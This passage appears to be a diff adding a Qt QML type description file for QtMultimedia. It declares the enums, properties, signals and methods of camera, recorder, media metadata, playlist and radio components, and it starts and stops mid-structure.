4, + "ExposureSpotlight": 5, + "ExposureSports": 6, + "ExposureSnow": 7, + "ExposureBeach": 8, + "ExposureLargeAperture": 9, + "ExposureSmallAperture": 10, + "ExposureAction": 11, + "ExposureLandscape": 12, + "ExposureNightPortrait": 13, + "ExposureTheatre": 14, + "ExposureSunset": 15, + "ExposureSteadyPhoto": 16, + "ExposureFireworks": 17, + "ExposureParty": 18, + "ExposureCandlelight": 19, + "ExposureBarcode": 20, + "ExposureModeVendor": 1000 + } + } + Enum { + name: "MeteringMode" + values: { + "MeteringMatrix": 1, + "MeteringAverage": 2, + "MeteringSpot": 3 + } + } + Enum { + name: "FocusMode" + values: { + "FocusManual": 1, + "FocusHyperfocal": 2, + "FocusInfinity": 4, + "FocusAuto": 8, + "FocusContinuous": 16, + "FocusMacro": 32 + } + } + Enum { + name: "FocusPointMode" + values: { + "FocusPointAuto": 0, + "FocusPointCenter": 1, + "FocusPointFaceDetection": 2, + "FocusPointCustom": 3 + } + } + Enum { + name: "FocusAreaStatus" + values: { + "FocusAreaUnused": 1, + "FocusAreaSelected": 2, + "FocusAreaFocused": 3 + } + } + Enum { + name: "Availability" + values: { + "Available": 0, + "Busy": 2, + "Unavailable": 1, + "ResourceMissing": 3 + } + } + Property { name: "deviceId"; revision: 1; type: "string" } + Property { name: "position"; revision: 1; type: "Position" } + Property { name: "displayName"; revision: 1; type: "string"; isReadonly: true } + Property { name: "orientation"; revision: 1; type: "int"; isReadonly: true } + Property { name: "captureMode"; type: "CaptureMode" } + Property { name: "cameraState"; type: "State" } + Property { name: "cameraStatus"; type: "Status"; isReadonly: true } + Property { name: "lockStatus"; type: "LockStatus"; isReadonly: true } + Property { name: "errorCode"; type: "Error"; isReadonly: true } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "availability"; type: "Availability"; isReadonly: true } + Property { name: "opticalZoom"; type: "double" } + Property { name: "maximumOpticalZoom"; type: "double"; isReadonly: true } + Property { name: "digitalZoom"; type: "double" } + Property { name: "maximumDigitalZoom"; type: "double"; isReadonly: true } + Property { name: "mediaObject"; type: "QObject"; isReadonly: true; isPointer: true } + Property { + name: "imageCapture" + type: "QDeclarativeCameraCapture" + isReadonly: true + isPointer: true + } + Property { + name: "videoRecorder" + type: "QDeclarativeCameraRecorder" + isReadonly: true + isPointer: true + } + Property { + name: "exposure" + type: "QDeclarativeCameraExposure" + isReadonly: true + isPointer: true + } + Property { name: "flash"; type: "QDeclarativeCameraFlash"; isReadonly: true; isPointer: true } + Property { name: "focus"; type: "QDeclarativeCameraFocus"; isReadonly: true; isPointer: true } + Property { + name: "imageProcessing" + type: "QDeclarativeCameraImageProcessing" + isReadonly: true + isPointer: true + } + Property { + name: "metaData" + revision: 1 + type: "QDeclarativeMediaMetaData" + isReadonly: true + isPointer: true + } + Property { + name: "viewfinder" + revision: 1 + type: "QDeclarativeCameraViewfinder" + isReadonly: true + isPointer: true + } + Signal { name: "errorChanged" } + Signal { + name: "error" + Parameter { name: "errorCode"; type: "QDeclarativeCamera::Error" } + Parameter { name: "errorString"; type: "string" } + } + Signal { name: "deviceIdChanged"; revision: 1 } + Signal { name: "positionChanged"; revision: 1 } + Signal { name: "displayNameChanged"; revision: 1 } + Signal { name: "orientationChanged"; revision: 1 } + Signal { + name: "cameraStateChanged" + Parameter { type: "QDeclarativeCamera::State" } + } + Signal { + name: "opticalZoomChanged" + Parameter { type: "double" } + } + Signal { + name: "digitalZoomChanged" + Parameter { type: "double" } + } + Signal { + name: "maximumOpticalZoomChanged" + Parameter { type: "double" } + } + Signal { + name: "maximumDigitalZoomChanged" + Parameter { type: "double" } + } + Signal { + name: "availabilityChanged" + Parameter { name: "availability"; type: "Availability" } + } + Method { + name: "setCaptureMode" + Parameter { name: "mode"; type: "CaptureMode" } + } + Method { name: "start" } + Method { name: "stop" } + Method { + name: "setCameraState" + Parameter { name: "state"; type: "State" } + } + Method { name: "searchAndLock" } + Method { name: "unlock" } + Method { + name: "setOpticalZoom" + Parameter { type: "double" } + } + Method { + name: "setDigitalZoom" + Parameter { type: "double" } + } + Method { + name: "supportedViewfinderResolutions" + revision: 2 + type: "QJSValue" + Parameter { name: "minimumFrameRate"; type: "double" } + Parameter { name: "maximumFrameRate"; type: "double" } + } + Method { + name: "supportedViewfinderResolutions" + revision: 2 + type: "QJSValue" + Parameter { name: "minimumFrameRate"; type: "double" } + } + Method { name: "supportedViewfinderResolutions"; revision: 2; type: "QJSValue" } + Method { + name: "supportedViewfinderFrameRateRanges" + revision: 2 + type: "QJSValue" + Parameter { name: "resolution"; type: "QJSValue" } + } + Method { name: "supportedViewfinderFrameRateRanges"; revision: 2; type: "QJSValue" } + } + Component { + name: "QDeclarativeCameraCapture" + prototype: "QObject" + exports: [ + "QtMultimedia/CameraCapture 5.0", + "QtMultimedia/CameraCapture 5.9" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1] + Property { name: "ready"; type: "bool"; isReadonly: true } + Property { name: "capturedImagePath"; type: "string"; isReadonly: true } + Property { name: "resolution"; type: "QSize" } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "supportedResolutions"; revision: 1; type: "QVariantList"; isReadonly: true } + Signal { + name: "readyForCaptureChanged" + Parameter { type: "bool" } + } + Signal { + name: "imageExposed" + Parameter { name: "requestId"; type: "int" } + } + Signal { + name: "imageCaptured" + Parameter { name: "requestId"; type: "int" } + Parameter { name: "preview"; type: "string" } + } + Signal { + name: "imageMetadataAvailable" + Parameter { name: "requestId"; type: "int" } + Parameter { name: "key"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + Signal { + name: "imageSaved" + Parameter { name: "requestId"; type: "int" } + Parameter { name: "path"; type: "string" } + } + Signal { + name: "captureFailed" + Parameter { name: "requestId"; type: "int" } + Parameter { name: "message"; type: "string" } + } + Signal { + name: "resolutionChanged" + Parameter { type: "QSize" } + } + Method { name: "capture"; type: "int" } + Method { + name: "captureToLocation" + type: "int" + Parameter { name: "location"; type: "string" } + } + Method { name: "cancelCapture" } + Method { + name: "setResolution" + Parameter { name: "resolution"; type: "QSize" } + } + Method { + name: "setMetadata" + Parameter { name: "key"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { + name: "QDeclarativeCameraExposure" + prototype: "QObject" + exports: [ + "QtMultimedia/CameraExposure 5.0", + "QtMultimedia/CameraExposure 5.11" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1] + Enum { + name: "ExposureMode" + values: { + "ExposureAuto": 0, + "ExposureManual": 1, + "ExposurePortrait": 2, + "ExposureNight": 3, + "ExposureBacklight": 4, + "ExposureSpotlight": 5, + "ExposureSports": 6, + "ExposureSnow": 7, + "ExposureBeach": 8, + "ExposureLargeAperture": 9, + "ExposureSmallAperture": 10, + "ExposureAction": 11, + "ExposureLandscape": 12, + "ExposureNightPortrait": 13, + "ExposureTheatre": 14, + "ExposureSunset": 15, + "ExposureSteadyPhoto": 16, + "ExposureFireworks": 17, + "ExposureParty": 18, + "ExposureCandlelight": 19, + "ExposureBarcode": 20, + "ExposureModeVendor": 1000 + } + } + Enum { + name: "MeteringMode" + values: { + "MeteringMatrix": 1, + "MeteringAverage": 2, + "MeteringSpot": 3 + } + } + Property { name: "exposureCompensation"; type: "double" } + Property { name: "iso"; type: "int"; isReadonly: true } + Property { name: "shutterSpeed"; type: "double"; isReadonly: true } + Property { name: "aperture"; type: "double"; isReadonly: true } + Property { name: "manualShutterSpeed"; type: "double" } + Property { name: "manualAperture"; type: "double" } + Property { name: "manualIso"; type: "double" } + Property { name: "exposureMode"; type: "ExposureMode" } + Property { name: "supportedExposureModes"; revision: 1; type: "QVariantList"; isReadonly: true } + Property { name: "spotMeteringPoint"; type: "QPointF" } + Property { name: "meteringMode"; type: "MeteringMode" } + Signal { + name: "isoSensitivityChanged" + Parameter { type: "int" } + } + Signal { + name: "apertureChanged" + Parameter { type: "double" } + } + Signal { + name: "shutterSpeedChanged" + Parameter { type: "double" } + } + Signal { + name: "manualIsoSensitivityChanged" + Parameter { type: "int" } + } + Signal { + name: "manualApertureChanged" + Parameter { type: "double" } + } + Signal { + name: "manualShutterSpeedChanged" + Parameter { type: "double" } + } + Signal { + name: "exposureCompensationChanged" + Parameter { type: "double" } + } + Signal { + name: "exposureModeChanged" + Parameter { type: "ExposureMode" } + } + Signal { + name: "meteringModeChanged" + Parameter { type: "MeteringMode" } + } + Signal { + name: "spotMeteringPointChanged" + Parameter { type: "QPointF" } + } + Method { + name: "setExposureMode" + Parameter { type: "ExposureMode" } + } + Method { + name: "setExposureCompensation" + Parameter { name: "ev"; type: "double" } + } + Method { + name: "setManualAperture" + Parameter { type: "double" } + } + Method { + name: "setManualShutterSpeed" + Parameter { type: "double" } + } + Method { + name: "setManualIsoSensitivity" + Parameter { name: "iso"; type: "int" } + } + Method { name: "setAutoAperture" } + Method { name: "setAutoShutterSpeed" } + Method { name: "setAutoIsoSensitivity" } + } + Component { + name: "QDeclarativeCameraFlash" + prototype: "QObject" + exports: [ + "QtMultimedia/CameraFlash 5.0", + "QtMultimedia/CameraFlash 5.9" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1] + Enum { + name: "FlashMode" + values: { + "FlashAuto": 1, + "FlashOff": 2, + "FlashOn": 4, + "FlashRedEyeReduction": 8, + "FlashFill": 16, + "FlashTorch": 32, + "FlashVideoLight": 64, + "FlashSlowSyncFrontCurtain": 128, + "FlashSlowSyncRearCurtain": 256, + "FlashManual": 512 + } + } + Property { name: "ready"; type: "bool"; isReadonly: true } + Property { name: "mode"; type: "FlashMode" } + Property { name: "supportedModes"; revision: 1; type: "QVariantList"; isReadonly: true } + Signal { + name: "flashReady" + Parameter { name: "status"; type: "bool" } + } + Signal { + name: "flashModeChanged" + Parameter { type: "FlashMode" } + } + Method { + name: "setFlashMode" + Parameter { type: "FlashMode" } + } + } + Component { + name: "QDeclarativeCameraFocus" + prototype: "QObject" + exports: [ + "QtMultimedia/CameraFocus 5.0", + "QtMultimedia/CameraFocus 5.11" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1] + Enum { + name: "FocusMode" + values: { + "FocusManual": 1, + "FocusHyperfocal": 2, + "FocusInfinity": 4, + "FocusAuto": 8, + "FocusContinuous": 16, + "FocusMacro": 32 + } + } + Enum { + name: "FocusPointMode" + values: { + "FocusPointAuto": 0, + "FocusPointCenter": 1, + "FocusPointFaceDetection": 2, + "FocusPointCustom": 3 + } + } + Property { name: "focusMode"; type: "FocusMode" } + Property { name: "supportedFocusModes"; revision: 1; type: "QVariantList"; isReadonly: true } + Property { name: "focusPointMode"; type: "FocusPointMode" } + Property { name: "supportedFocusPointModes"; revision: 1; type: "QVariantList"; isReadonly: true } + Property { name: "customFocusPoint"; type: "QPointF" } + Property { name: "focusZones"; type: "QObject"; isReadonly: true; isPointer: true } + Signal { + name: "focusModeChanged" + Parameter { type: "FocusMode" } + } + Signal { + name: "focusPointModeChanged" + Parameter { type: "FocusPointMode" } + } + Signal { + name: "customFocusPointChanged" + Parameter { type: "QPointF" } + } + Method { + name: "setFocusMode" + Parameter { type: "FocusMode" } + } + Method { + name: "setFocusPointMode" + Parameter { name: "mode"; type: "FocusPointMode" } + } + Method { + name: "setCustomFocusPoint" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "isFocusModeSupported" + type: "bool" + Parameter { name: "mode"; type: "FocusMode" } + } + Method { + name: "isFocusPointModeSupported" + type: "bool" + Parameter { name: "mode"; type: "FocusPointMode" } + } + } + Component { + name: "QDeclarativeCameraImageProcessing" + prototype: "QObject" + exports: [ + "QtMultimedia/CameraImageProcessing 5.0", + "QtMultimedia/CameraImageProcessing 5.11", + "QtMultimedia/CameraImageProcessing 5.5", + "QtMultimedia/CameraImageProcessing 5.7" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 3, 1, 2] + Enum { + name: "WhiteBalanceMode" + values: { + "WhiteBalanceAuto": 0, + "WhiteBalanceManual": 1, + "WhiteBalanceSunlight": 2, + "WhiteBalanceCloudy": 3, + "WhiteBalanceShade": 4, + "WhiteBalanceTungsten": 5, + "WhiteBalanceFluorescent": 6, + "WhiteBalanceFlash": 7, + "WhiteBalanceSunset": 8, + "WhiteBalanceVendor": 1000 + } + } + Enum { + name: "ColorFilter" + values: { + "ColorFilterNone": 0, + "ColorFilterGrayscale": 1, + "ColorFilterNegative": 2, + "ColorFilterSolarize": 3, + "ColorFilterSepia": 4, + "ColorFilterPosterize": 5, + "ColorFilterWhiteboard": 6, + "ColorFilterBlackboard": 7, + "ColorFilterAqua": 8, + "ColorFilterVendor": 1000 + } + } + Property { name: "whiteBalanceMode"; type: "WhiteBalanceMode" } + Property { name: "manualWhiteBalance"; type: "double" } + Property { name: "brightness"; revision: 2; type: "double" } + Property { name: "contrast"; type: "double" } + Property { name: "saturation"; type: "double" } + Property { name: "sharpeningLevel"; type: "double" } + Property { name: "denoisingLevel"; type: "double" } + Property { name: "colorFilter"; revision: 1; type: "ColorFilter" } + Property { name: "available"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "supportedColorFilters"; revision: 3; type: "QVariantList"; isReadonly: true } + Property { + name: "supportedWhiteBalanceModes" + revision: 3 + type: "QVariantList" + isReadonly: true + } + Signal { + name: "whiteBalanceModeChanged" + Parameter { type: "QDeclarativeCameraImageProcessing::WhiteBalanceMode" } + } + Signal { + name: "manualWhiteBalanceChanged" + Parameter { type: "double" } + } + Signal { + name: "brightnessChanged" + revision: 2 + Parameter { type: "double" } + } + Signal { + name: "contrastChanged" + Parameter { type: "double" } + } + Signal { + name: "saturationChanged" + Parameter { type: "double" } + } + Signal { + name: "sharpeningLevelChanged" + Parameter { type: "double" } + } + Signal { + name: "denoisingLevelChanged" + Parameter { type: "double" } + } + Method { + name: "setWhiteBalanceMode" + Parameter { name: "mode"; type: "QDeclarativeCameraImageProcessing::WhiteBalanceMode" } + } + Method { + name: "setManualWhiteBalance" + Parameter { name: "colorTemp"; type: "double" } + } + Method { + name: "setBrightness" + revision: 2 + Parameter { name: "value"; type: "double" } + } + Method { + name: "setContrast" + Parameter { name: "value"; type: "double" } + } + Method { + name: "setSaturation" + Parameter { name: "value"; type: "double" } + } + Method { + name: "setSharpeningLevel" + Parameter { name: "value"; type: "double" } + } + Method { + name: "setDenoisingLevel" + Parameter { name: "value"; type: "double" } + } + Method { + name: "setColorFilter" + Parameter { name: "colorFilter"; type: "ColorFilter" } + } + } + Component { + name: "QDeclarativeCameraRecorder" + prototype: "QObject" + exports: ["QtMultimedia/CameraRecorder 5.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "RecorderState" + values: { + "StoppedState": 0, + "RecordingState": 1 + } + } + Enum { + name: "RecorderStatus" + values: { + "UnavailableStatus": 0, + "UnloadedStatus": 1, + "LoadingStatus": 2, + "LoadedStatus": 3, + "StartingStatus": 4, + "RecordingStatus": 5, + "PausedStatus": 6, + "FinalizingStatus": 7 + } + } + Enum { + name: "EncodingMode" + values: { + "ConstantQualityEncoding": 0, + "ConstantBitRateEncoding": 1, + "AverageBitRateEncoding": 2 + } + } + Enum { + name: "Error" + values: { + "NoError": 0, + "ResourceError": 1, + "FormatError": 2, + "OutOfSpaceError": 3 + } + } + Property { name: "recorderState"; type: "RecorderState" } + Property { name: "recorderStatus"; type: "RecorderStatus"; isReadonly: true } + Property { name: "videoCodec"; type: "string" } + Property { name: "resolution"; type: "QSize" } + Property { name: "frameRate"; type: "double" } + Property { name: "videoBitRate"; type: "int" } + Property { name: "videoEncodingMode"; type: "EncodingMode" } + Property { name: "audioCodec"; type: "string" } + Property { name: "audioBitRate"; type: "int" } + Property { name: "audioChannels"; type: "int" } + Property { name: "audioSampleRate"; type: "int" } + Property { name: "audioEncodingMode"; type: "EncodingMode" } + Property { name: "mediaContainer"; type: "string" } + Property { name: "duration"; type: "qlonglong"; isReadonly: true } + Property { name: "outputLocation"; type: "string" } + Property { name: "actualLocation"; type: "string"; isReadonly: true } + Property { name: "muted"; type: "bool" } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "errorCode"; type: "Error"; isReadonly: true } + Signal { + name: "recorderStateChanged" + Parameter { name: "state"; type: "QDeclarativeCameraRecorder::RecorderState" } + } + Signal { + name: "durationChanged" + Parameter { name: "duration"; type: "qlonglong" } + } + Signal { + name: "mutedChanged" + Parameter { name: "muted"; type: "bool" } + } + Signal { + name: "outputLocationChanged" + Parameter { name: "location"; type: "string" } + } + Signal { + name: "actualLocationChanged" + Parameter { name: "location"; type: "string" } + } + Signal { + name: "error" + Parameter { name: "errorCode"; type: "QDeclarativeCameraRecorder::Error" } + Parameter { name: "errorString"; type: "string" } + } + Signal { + name: "metaDataChanged" + Parameter { name: "key"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + Signal { + name: "captureResolutionChanged" + Parameter { type: "QSize" } + } + Signal { + name: "audioCodecChanged" + Parameter { name: "codec"; type: "string" } + } + Signal { + name: "videoCodecChanged" + Parameter { name: "codec"; type: "string" } + } + Signal { + name: "mediaContainerChanged" + Parameter { name: "container"; type: "string" } + } + Signal { + name: "frameRateChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "videoBitRateChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "audioBitRateChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "audioChannelsChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "audioSampleRateChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "audioEncodingModeChanged" + Parameter { name: "encodingMode"; type: "EncodingMode" } + } + Signal { + name: "videoEncodingModeChanged" + Parameter { name: "encodingMode"; type: "EncodingMode" } + } + Method { + name: "setOutputLocation" + Parameter { name: "location"; type: "string" } + } + Method { name: "record" } + Method { name: "stop" } + Method { + name: "setRecorderState" + Parameter { name: "state"; type: "QDeclarativeCameraRecorder::RecorderState" } + } + Method { + name: "setMuted" + Parameter { name: "muted"; type: "bool" } + } + Method { + name: "setMetadata" + Parameter { name: "key"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "setCaptureResolution" + Parameter { name: "resolution"; type: "QSize" } + } + Method { + name: "setAudioCodec" + Parameter { name: "codec"; type: "string" } + } + Method { + name: "setVideoCodec" + Parameter { name: "codec"; type: "string" } + } + Method { + name: "setMediaContainer" + Parameter { name: "container"; type: "string" } + } + Method { + name: "setFrameRate" + Parameter { name: "frameRate"; type: "double" } + } + Method { + name: "setVideoBitRate" + Parameter { name: "rate"; type: "int" } + } + Method { + name: "setAudioBitRate" + Parameter { name: "rate"; type: "int" } + } + Method { + name: "setAudioChannels" + Parameter { name: "channels"; type: "int" } + } + Method { + name: "setAudioSampleRate" + Parameter { name: "rate"; type: "int" } + } + Method { + name: "setVideoEncodingMode" + Parameter { name: "encodingMode"; type: "EncodingMode" } + } + Method { + name: "setAudioEncodingMode" + Parameter { name: "encodingMode"; type: "EncodingMode" } + } + } + Component { + name: "QDeclarativeCameraViewfinder" + prototype: "QObject" + exports: ["QtMultimedia/CameraViewfinder 5.4"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "resolution"; type: "QSize" } + Property { name: "minimumFrameRate"; type: "double" } + Property { name: "maximumFrameRate"; type: "double" } + } + Component { + name: "QDeclarativeMediaMetaData" + prototype: "QObject" + Property { name: "title"; type: "QVariant" } + Property { name: "subTitle"; type: "QVariant" } + Property { name: "author"; type: "QVariant" } + Property { name: "comment"; type: "QVariant" } + Property { name: "description"; type: "QVariant" } + Property { name: "category"; type: "QVariant" } + Property { name: "genre"; type: "QVariant" } + Property { name: "year"; type: "QVariant" } + Property { name: "date"; type: "QVariant" } + Property { name: "userRating"; type: "QVariant" } + Property { name: "keywords"; type: "QVariant" } + Property { name: "language"; type: "QVariant" } + Property { name: "publisher"; type: "QVariant" } + Property { name: "copyright"; type: "QVariant" } + Property { name: "parentalRating"; type: "QVariant" } + Property { name: "ratingOrganization"; type: "QVariant" } + Property { name: "size"; type: "QVariant" } + Property { name: "mediaType"; type: "QVariant" } + Property { name: "duration"; type: "QVariant" } + Property { name: "audioBitRate"; type: "QVariant" } + Property { name: "audioCodec"; type: "QVariant" } + Property { name: "averageLevel"; type: "QVariant" } + Property { name: "channelCount"; type: "QVariant" } + Property { name: "peakValue"; type: "QVariant" } + Property { name: "sampleRate"; type: "QVariant" } + Property { name: "albumTitle"; type: "QVariant" } + Property { name: "albumArtist"; type: "QVariant" } + Property { name: "contributingArtist"; type: "QVariant" } + Property { name: "composer"; type: "QVariant" } + Property { name: "conductor"; type: "QVariant" } + Property { name: "lyrics"; type: "QVariant" } + Property { name: "mood"; type: "QVariant" } + Property { name: "trackNumber"; type: "QVariant" } + Property { name: "trackCount"; type: "QVariant" } + Property { name: "coverArtUrlSmall"; type: "QVariant" } + Property { name: "coverArtUrlLarge"; type: "QVariant" } + Property { name: "resolution"; type: "QVariant" } + Property { name: "pixelAspectRatio"; type: "QVariant" } + Property { name: "videoFrameRate"; type: "QVariant" } + Property { name: "videoBitRate"; type: "QVariant" } + Property { name: "videoCodec"; type: "QVariant" } + Property { name: "posterUrl"; type: "QVariant" } + Property { name: "chapterNumber"; type: "QVariant" } + Property { name: "director"; type: "QVariant" } + Property { name: "leadPerformer"; type: "QVariant" } + Property { name: "writer"; type: "QVariant" } + Property { name: "cameraManufacturer"; type: "QVariant" } + Property { name: "cameraModel"; type: "QVariant" } + Property { name: "event"; type: "QVariant" } + Property { name: "subject"; type: "QVariant" } + Property { name: "orientation"; type: "QVariant" } + Property { name: "exposureTime"; type: "QVariant" } + Property { name: "fNumber"; type: "QVariant" } + Property { name: "exposureProgram"; type: "QVariant" } + Property { name: "isoSpeedRatings"; type: "QVariant" } + Property { name: "exposureBiasValue"; type: "QVariant" } + Property { name: "dateTimeOriginal"; type: "QVariant" } + Property { name: "dateTimeDigitized"; type: "QVariant" } + Property { name: "subjectDistance"; type: "QVariant" } + Property { name: "meteringMode"; type: "QVariant" } + Property { name: "lightSource"; type: "QVariant" } + Property { name: "flash"; type: "QVariant" } + Property { name: "focalLength"; type: "QVariant" } + Property { name: "exposureMode"; type: "QVariant" } + Property { name: "whiteBalance"; type: "QVariant" } + Property { name: "digitalZoomRatio"; type: "QVariant" } + Property { name: "focalLengthIn35mmFilm"; type: "QVariant" } + Property { name: "sceneCaptureType"; type: "QVariant" } + Property { name: "gainControl"; type: "QVariant" } + Property { name: "contrast"; type: "QVariant" } + Property { name: "saturation"; type: "QVariant" } + Property { name: "sharpness"; type: "QVariant" } + Property { name: "deviceSettingDescription"; type: "QVariant" } + Property { name: "gpsLatitude"; type: "QVariant" } + Property { name: "gpsLongitude"; type: "QVariant" } + Property { name: "gpsAltitude"; type: "QVariant" } + Property { name: "gpsTimeStamp"; type: "QVariant" } + Property { name: "gpsSatellites"; type: "QVariant" } + Property { name: "gpsStatus"; type: "QVariant" } + Property { name: "gpsDOP"; type: "QVariant" } + Property { name: "gpsSpeed"; type: "QVariant" } + Property { name: "gpsTrack"; type: "QVariant" } + Property { name: "gpsTrackRef"; type: "QVariant" } + Property { name: "gpsImgDirection"; type: "QVariant" } + Property { name: "gpsImgDirectionRef"; type: "QVariant" } + Property { name: "gpsMapDatum"; type: "QVariant" } + Property { name: "gpsProcessingMethod"; type: "QVariant" } + Property { name: "gpsAreaInformation"; type: "QVariant" } + Signal { name: "metaDataChanged" } + } + Component { + name: "QDeclarativeMultimediaGlobal" + prototype: "QObject" + exports: ["QtMultimedia/QtMultimedia 5.4"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Enum { + name: "VolumeScale" + values: { + "LinearVolumeScale": 0, + "CubicVolumeScale": 1, + "LogarithmicVolumeScale": 2, + "DecibelVolumeScale": 3 + } + } + Property { name: "defaultCamera"; type: "QJSValue"; isReadonly: true } + Property { name: "availableCameras"; type: "QJSValue"; isReadonly: true } + Method { + name: "convertVolume" + type: "double" + Parameter { name: "volume"; type: "double" } + Parameter { name: "from"; type: "VolumeScale" } + Parameter { name: "to"; type: "VolumeScale" } + } + } + Component { + name: "QDeclarativePlaylist" + defaultProperty: "items" + prototype: "QAbstractListModel" + exports: ["QtMultimedia/Playlist 5.6", "QtMultimedia/Playlist 5.7"] + exportMetaObjectRevisions: [0, 1] + Enum { + name: "PlaybackMode" + values: { + "CurrentItemOnce": 0, + "CurrentItemInLoop": 1, + "Sequential": 2, + "Loop": 3, + "Random": 4 + } + } + Enum { + name: "Error" + values: { + "NoError": 0, + "FormatError": 1, + "FormatNotSupportedError": 2, + "NetworkError": 3, + "AccessDeniedError": 4 + } + } + Property { name: "playbackMode"; type: "PlaybackMode" } + Property { name: "currentItemSource"; type: "QUrl"; isReadonly: true } + Property { name: "currentIndex"; type: "int" } + Property { name: "itemCount"; type: "int"; isReadonly: true } + Property { name: "readOnly"; type: "bool"; isReadonly: true } + Property { name: "error"; type: "Error"; isReadonly: true } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "items"; type: "QDeclarativePlaylistItem"; isList: true; isReadonly: true } + Signal { + name: "itemAboutToBeInserted" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Signal { + name: "itemInserted" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Signal { + name: "itemAboutToBeRemoved" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Signal { + name: "itemRemoved" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Signal { + name: "itemChanged" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Signal { name: "loaded" } + Signal { name: "loadFailed" } + Signal { + name: "error" + Parameter { name: "error"; type: "QDeclarativePlaylist::Error" } + Parameter { name: "errorString"; type: "string" } + } + Method { + name: "itemSource" + type: "QUrl" + Parameter { name: "index"; type: "int" } + } + Method { + name: "nextIndex" + type: "int" + Parameter { name: "steps"; type: "int" } + } + Method { name: "nextIndex"; type: "int" } + Method { + name: "previousIndex" + type: "int" + Parameter { name: "steps"; type: "int" } + } + Method { name: "previousIndex"; type: "int" } + Method { name: "next" } + Method { name: "previous" } + Method { name: "shuffle" } + Method { + name: "load" + Parameter { name: "location"; type: "QUrl" } + Parameter { name: "format"; type: "string" } + } + Method { + name: "load" + Parameter { name: "location"; type: "QUrl" } + } + Method { + name: "save" + type: "bool" + Parameter { name: "location"; type: "QUrl" } + Parameter { name: "format"; type: "string" } + } + Method { + name: "save" + type: "bool" + Parameter { name: "location"; type: "QUrl" } + } + Method { + name: "addItem" + type: "bool" + Parameter { name: "source"; type: "QUrl" } + } + Method { + name: "addItems" + revision: 1 + type: "bool" + Parameter { name: "sources"; type: "QList" } + } + Method { + name: "insertItem" + type: "bool" + Parameter { name: "index"; type: "int" } + Parameter { name: "source"; type: "QUrl" } + } + Method { + name: "insertItems" + revision: 1 + type: "bool" + Parameter { name: "index"; type: "int" } + Parameter { name: "sources"; type: "QList" } + } + Method { + name: "moveItem" + revision: 1 + type: "bool" + Parameter { name: "from"; type: "int" } + Parameter { name: "to"; type: "int" } + } + Method { + name: "removeItem" + type: "bool" + Parameter { name: "index"; type: "int" } + } + Method { + name: "removeItems" + revision: 1 + type: "bool" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { name: "clear"; type: "bool" } + } + Component { + name: "QDeclarativePlaylistItem" + prototype: "QObject" + exports: ["QtMultimedia/PlaylistItem 5.6"] + exportMetaObjectRevisions: [0] + Property { name: "source"; type: "QUrl" } + } + Component { + name: "QDeclarativeRadio" + prototype: "QObject" + exports: ["QtMultimedia/Radio 5.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "State" + values: { + "ActiveState": 0, + "StoppedState": 1 + } + } + Enum { + name: "Band" + values: { + "AM": 0, + "FM": 1, + "SW": 2, + "LW": 3, + "FM2": 4 + } + } + Enum { + name: "Error" + values: { + "NoError": 0, + "ResourceError": 1, + "OpenError": 2, + "OutOfRangeError": 3 + } + } + Enum { + name: "StereoMode" + values: { + "ForceStereo": 0, + "ForceMono": 1, + "Auto": 2 + } + } + Enum { + name: "SearchMode" + values: { + "SearchFast": 0, + "SearchGetStationId": 1 + } + } + Enum { + name: "Availability" + values: { + "Available": 0, + "Busy": 2, + "Unavailable": 1, + "ResourceMissing": 3 + } + } + Property { name: "state"; type: "State"; isReadonly: true } + Property { name: "band"; type: "Band" } + Property { name: "frequency"; type: "int" } + Property { name: "stereo"; type: "bool"; isReadonly: true } + Property { name: "stereoMode"; type: "StereoMode" } + Property { name: "signalStrength"; type: "int"; isReadonly: true } + Property { name: "volume"; type: "int" } + Property { name: "muted"; type: "bool" } + Property { name: "searching"; type: "bool"; isReadonly: true } + Property { name: "frequencyStep"; type: "int"; isReadonly: true } + Property { name: "minimumFrequency"; type: "int"; isReadonly: true } + Property { name: "maximumFrequency"; type: "int"; isReadonly: true } + Property { name: "antennaConnected"; type: "bool"; isReadonly: true } + Property { name: "availability"; type: "Availability"; isReadonly: true } + Property { name: "radioData"; type: "QDeclarativeRadioData"; isReadonly: true; isPointer: true } + Signal { + name: "stateChanged" + Parameter { name: "state"; type: "QDeclarativeRadio::State" } + } + Signal { + name: "bandChanged" + Parameter { name: "band"; type: "QDeclarativeRadio::Band" } + } + Signal { + name: "frequencyChanged" + Parameter { name: "frequency"; type: "int" } + } + Signal { + name: "stereoStatusChanged" + Parameter { name: "stereo"; type: "bool" } + } + Signal { + name: "searchingChanged" + Parameter { name: "searching"; type: "bool" } + } + Signal { + name: "signalStrengthChanged" + Parameter { name: "signalStrength"; type: "int" } + } + Signal { + name: "volumeChanged" + Parameter { name: "volume"; type: "int" } + } + Signal { + name: "mutedChanged" + Parameter { name: "muted"; type: 